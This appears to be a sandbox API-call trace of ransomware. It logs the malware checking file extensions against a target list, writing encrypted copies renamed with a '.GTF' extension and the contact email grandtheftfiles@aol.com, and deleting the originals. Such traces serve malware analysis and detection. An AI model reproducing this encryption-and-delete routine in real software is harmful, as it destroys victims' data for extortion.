	[0084.630] lstrlenW (lpString=".ppt") returned 4
	[0084.630] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.630] lstrlenW (lpString=".zip") returned 4
	[0084.630] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.630] lstrlenW (lpString=".rar") returned 4
	[0084.630] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.630] lstrlenW (lpString=".bz2") returned 4
	[0084.630] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.630] lstrlenW (lpString=".7z") returned 3
	[0084.630] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.630] lstrlenW (lpString=".dbf") returned 4
	[0084.630] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.630] lstrlenW (lpString=".1cd") returned 4
	[0084.630] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.630] lstrlenW (lpString=".jpg") returned 4
	[0084.630] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.631] lstrlenW (lpString=".doc") returned 4
	[0084.631] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.631] lstrlenW (lpString=".docx") returned 5
	[0084.631] lstrcmpiW (lpString1=".docx", lpString2="g.exe") returned -1
	[0084.631] lstrlenW (lpString=".pdf") returned 4
	[0084.631] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.631] lstrlenW (lpString=".xls") returned 4
	[0084.631] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.631] lstrlenW (lpString=".xlsx") returned 5
	[0084.631] lstrcmpiW (lpString1=".xlsx", lpString2="g.exe") returned -1
	[0084.631] lstrlenW (lpString=".ppt") returned 4
	[0084.631] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.631] lstrlenW (lpString=".zip") returned 4
	[0084.631] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.631] lstrlenW (lpString=".rar") returned 4
	[0084.631] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.631] lstrlenW (lpString=".bz2") returned 4
	[0084.631] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.631] lstrlenW (lpString=".7z") returned 3
	[0084.631] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.631] lstrlenW (lpString=".dbf") returned 4
	[0084.631] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.631] lstrlenW (lpString=".1cd") returned 4
	[0084.631] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.631] lstrlenW (lpString=".jpg") returned 4
	[0084.631] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.631] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.631] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0084.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.632] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=18624) returned 1
	[0084.632] CloseHandle (hObject=0x390) returned 1
	[0084.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20
	[0084.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.632] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.633] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.639] GetLastError () returned 0x0
	[0084.639] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0084.643] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0084.644] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.644] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x112, lpOverlapped=0x0) returned 1
	[0084.644] SetEndOfFile (hFile=0x31c) returned 1
	[0084.644] CloseHandle (hObject=0x31c) returned 1
	[0084.645] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.645] SetEndOfFile (hFile=0x390) returned 1
	[0084.646] CloseHandle (hObject=0x390) returned 1
	[0084.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.647] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1
	[0084.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.647] lstrlenW (lpString=".doc") returned 4
	[0084.647] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.647] lstrlenW (lpString=".docx") returned 5
	[0084.647] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.647] lstrlenW (lpString=".pdf") returned 4
	[0084.647] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.647] lstrlenW (lpString=".xls") returned 4
	[0084.647] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.647] lstrlenW (lpString=".xlsx") returned 5
	[0084.647] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.647] lstrlenW (lpString=".ppt") returned 4
	[0084.647] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.647] lstrlenW (lpString=".zip") returned 4
	[0084.647] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.647] lstrlenW (lpString=".rar") returned 4
	[0084.647] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.647] lstrlenW (lpString=".bz2") returned 4
	[0084.647] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.647] lstrlenW (lpString=".7z") returned 3
	[0084.647] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.647] lstrlenW (lpString=".dbf") returned 4
	[0084.647] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.647] lstrlenW (lpString=".1cd") returned 4
	[0084.648] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.648] lstrlenW (lpString=".jpg") returned 4
	[0084.648] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.648] lstrlenW (lpString=".doc") returned 4
	[0084.648] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.648] lstrlenW (lpString=".docx") returned 5
	[0084.648] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.648] lstrlenW (lpString=".pdf") returned 4
	[0084.648] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.648] lstrlenW (lpString=".xls") returned 4
	[0084.648] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.648] lstrlenW (lpString=".xlsx") returned 5
	[0084.648] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.648] lstrlenW (lpString=".ppt") returned 4
	[0084.648] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.648] lstrlenW (lpString=".zip") returned 4
	[0084.648] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.648] lstrlenW (lpString=".rar") returned 4
	[0084.648] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.648] lstrlenW (lpString=".bz2") returned 4
	[0084.648] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.648] lstrlenW (lpString=".7z") returned 3
	[0084.648] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.648] lstrlenW (lpString=".dbf") returned 4
	[0084.648] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.648] lstrlenW (lpString=".1cd") returned 4
	[0084.648] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.648] lstrlenW (lpString=".jpg") returned 4
	[0084.648] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.649] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.649] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0084.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.657] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=18624) returned 1
	[0084.657] CloseHandle (hObject=0x390) returned 1
	[0084.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20
	[0084.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.657] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.657] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.658] GetLastError () returned 0x0
	[0084.658] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0084.660] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0084.661] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.661] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x112, lpOverlapped=0x0) returned 1
	[0084.661] SetEndOfFile (hFile=0x31c) returned 1
	[0084.661] CloseHandle (hObject=0x31c) returned 1
	[0084.663] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.663] SetEndOfFile (hFile=0x390) returned 1
	[0084.663] CloseHandle (hObject=0x390) returned 1
	[0084.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.664] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1
	[0084.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.664] lstrlenW (lpString=".doc") returned 4
	[0084.664] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.664] lstrlenW (lpString=".docx") returned 5
	[0084.664] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.664] lstrlenW (lpString=".pdf") returned 4
	[0084.664] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.664] lstrlenW (lpString=".xls") returned 4
	[0084.664] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.664] lstrlenW (lpString=".xlsx") returned 5
	[0084.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.664] lstrlenW (lpString=".ppt") returned 4
	[0084.664] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.664] lstrlenW (lpString=".zip") returned 4
	[0084.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString=".rar") returned 4
	[0084.665] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString=".bz2") returned 4
	[0084.665] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.665] lstrlenW (lpString=".7z") returned 3
	[0084.665] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.665] lstrlenW (lpString=".dbf") returned 4
	[0084.665] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.665] lstrlenW (lpString=".1cd") returned 4
	[0084.665] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.665] lstrlenW (lpString=".jpg") returned 4
	[0084.665] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.665] lstrlenW (lpString=".doc") returned 4
	[0084.665] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString=".docx") returned 5
	[0084.665] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.665] lstrlenW (lpString=".pdf") returned 4
	[0084.665] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString=".xls") returned 4
	[0084.665] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString=".xlsx") returned 5
	[0084.665] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.665] lstrlenW (lpString=".ppt") returned 4
	[0084.665] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.665] lstrlenW (lpString=".zip") returned 4
	[0084.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString=".rar") returned 4
	[0084.665] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.665] lstrlenW (lpString=".bz2") returned 4
	[0084.665] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.666] lstrlenW (lpString=".7z") returned 3
	[0084.666] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.666] lstrlenW (lpString=".dbf") returned 4
	[0084.666] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.666] lstrlenW (lpString=".1cd") returned 4
	[0084.666] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0084.666] lstrlenW (lpString=".jpg") returned 4
	[0084.666] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.666] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.666] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0084.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.666] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=21184) returned 1
	[0084.666] CloseHandle (hObject=0x390) returned 1
	[0084.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20
	[0084.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.667] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.667] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.667] GetLastError () returned 0x0
	[0084.667] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x52c0, lpOverlapped=0x0) returned 1
	[0085.008] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x52d0, lpOverlapped=0x0) returned 1
	[0085.010] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.010] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x122, lpOverlapped=0x0) returned 1
	[0085.010] SetEndOfFile (hFile=0x31c) returned 1
	[0085.010] CloseHandle (hObject=0x31c) returned 1
	[0085.011] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.011] SetEndOfFile (hFile=0x390) returned 1
	[0085.012] CloseHandle (hObject=0x390) returned 1
	[0085.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.012] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.013] lstrlenW (lpString=".doc") returned 4
	[0085.013] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".docx") returned 5
	[0085.013] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
